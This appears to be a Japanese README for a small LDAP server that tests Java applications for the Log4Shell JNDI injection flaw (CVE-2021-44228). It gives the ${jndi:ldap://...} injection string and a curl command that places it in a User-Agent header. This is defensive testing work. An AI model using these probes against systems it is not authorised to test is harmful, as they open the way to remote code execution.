
JavaにおけるJNDI+LDAPインジェクション攻撃、特にCVE-2021-44228に対する脆弱性をテストするためのミニマルなLDAPサーバーです。
これは、Java の JNDI+LDAP インジェクション攻撃、特に CVE-2021-44228 の脆弱性をテストするための 最小限の LDAP サーバーです。
お使いのプラットフォーム用のテストサーバーバイナリをダウンロードします(すべてのバイナリは Releases にあります)。
テスト対象のアプリケーションからアクセス可能な IP アドレスでテストサーバーを実行します。 テスト対象のアプリと同じホストでサーバーを実行できれば最も簡単です (localhost)。
アプリケーションが外部から受け取ってログに記録する、信頼できない外部提供データを 見つけます。
アプリケーションに次の文字列をログに記録させます。
${jndi:ldap://localhost:1389/Test}
テストサーバーをローカルで実行していない場合は、localhost を実際のサーバーの IP アドレスまたはドメイン名に
置き換えてください。
たとえば、User-Agent HTTP ヘッダーをログに記録する HTTP サーバーを実行している場合、
テストサーバーを実行中に次の cURL コマンドを呼び出すことで、
脆弱性をテストできます。
curl my-host -H 'User-Agent: ${jndi:ldap://test-server-host:1389/Test}'
アプリケーションに脆弱性がある場合、テストサーバーへの着信接続が確認でき、
ログ内の注入された文字列が !!! VULNERABLE !!! というテキストに置き換えられます。脆弱性がない場合、
注入された文字列は置き換えられず、テストサーバーは
接続を受け取らないはずです。